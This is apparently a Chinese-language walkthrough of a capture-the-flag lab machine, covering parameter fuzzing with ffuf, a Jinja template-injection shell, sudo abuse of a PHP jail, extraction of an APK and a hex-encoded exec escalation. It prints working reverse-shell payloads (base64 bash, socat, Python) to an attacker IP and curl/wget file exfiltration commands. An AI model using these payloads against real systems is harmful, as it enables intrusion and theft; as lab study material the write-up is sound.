background
学到了很多东西 这个靶机是我目前这段时间做过的最有意思的一个了
打点
开了个80和5000 80这不知道是什么东西 5000啥也没有
22端口可以匿名访问 尝试了下没有生成文件的权限,ftp里对应的文件也不是web目录的
文件执行就是这个样子 没有可用信息
逆一下 这堆insert不知道是干什么的
可以看到对应的字符 得/sh*4d0w$s
两个端口拼接了路径访问都没东西 在伪代码里直接转成char 得/sh4d0w$s
访问5000端口有反应 提示我们需要参数 测了下不支持post参数 上了我有的所有字典 都找不到参数
到这里就无解了 后面都是看了wp的 因为提权也确实提不动(没用系统漏洞 21年的靶机拿22年的cve提 没啥意义 重点是学习)
实际上80端口的提示就是参数的提示 组成和长度啥的都是leet语里面的 使用crunch可生成字典文件
crunch 6 6 1337leet > cs.txt
然后使用ffuz去fuzz 第一次用ffuz 真的好用啊 下次实战就用他了 这里参数错误的提示Size是8 所以我们过滤掉长度为8的响应
ffuf -w cs.txt -u 'http://192.168.116.54:5000/sh4d0w$s?FUZZ=1' -fs 8
得到l333tt
输入什么就返回什么 经典的ssti
getshell即可
http://192.168.116.54:5000/sh4d0w$s?l333tt={%for(x)in().__class__.__base__.__subclasses__()%}{%if%27war%27in(x).__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%27echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMTYuMjM1LzEyMzQgMD4mMQ==|base64%20-d|bash%20-i%27).read()}}{%endif%}{%endfor%}
横向-1
能够直接用kori的权限执行 /bin/php /home/kori/jail.php *
生成交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
我自己做的时候也看到这个sudo的东西了 也看了下这个php文件 我以为是跑这个程序 然后rce拿kori的权限
但是要密码 没思路了
看别人的文章好神奇 直接可以在后面执行命令 后来咨询了下绿盟的高工 他一眼就看出来了
所以这里随随便便就能拿kori权限了 反弹shell
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh
或者进python反弹shell
sudo -u kori /bin/php /home/kori/jail.php python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
横向-2
可以cp这个apk
给权限 移文件
chmod 777 -R /home/kori
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk
东西过去了之后得想办法拿出来 这里当然可以本地起python 但是实战中起了也没啥用 端口大概率不映射
尝试用curl或wget外带(这里wget带不出来 机子没有curl 懒得折腾了 还是用python开端口下了)
curl -X POST -F xx=@2.txt 127.0.0.1:8080
wget --post-file url.txt 127.0.0.1:4444
起一个python接收就行了 这里文件上传的参数是file
from flask import Flask, request, jsonify
import os
app = Flask(__name__)
# 设置上传文件的保存目录
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
# 确保上传目录存在
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
@app.route('/upload', methods=['POST'])
def upload_file():
# 检查请求中是否包含文件
if 'file' not in request.files:
return jsonify({'error': 'No file part in the request'}), 400
file = request.files['file']
# 检查文件是否为空
if file.filename == '':
return jsonify({'error': 'No file selected for uploading'}), 400
if file:
# 保存文件到指定目录
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
return jsonify({'message': f'File {file.filename} uploaded successfully'}), 200
if __name__ == '__main__':
app.run(debug=True)
这里要注意原来的权限问题
直接sudo执行拿过来的文件 还是原来的文件属性
那就创建一个授权 然后再拷过来就行了
touch irida.apk
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk
是一个apk 安装是一个登录页面
那就逆一下 账号是irida 密码放到lexiko 拼接了点
eye.of.the.tiger.()
账号密码没问题 登进去了
ssh的密码需要去掉一个点 6的 最终密码是eye.of.the.tiger()
提权
能直接sudo一个脚本
但是里面的问题看不到 只能盲打 运行了进入一个输入页面 随便输出就报错了 显示了部分代码 这里是对name进行了hex解码
对字符串编码传入 思路没问题 同时还看到的name是exec包裹了的
尝试执行输出 没问题
print("ss34")
7072696e742822737333342229
弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",12));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223139322e3136382e3131362e323335222c313229293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b6f732e6475703228732e66696c656e6f28292c32293b696d706f7274207074793b207074792e737061776e282273682229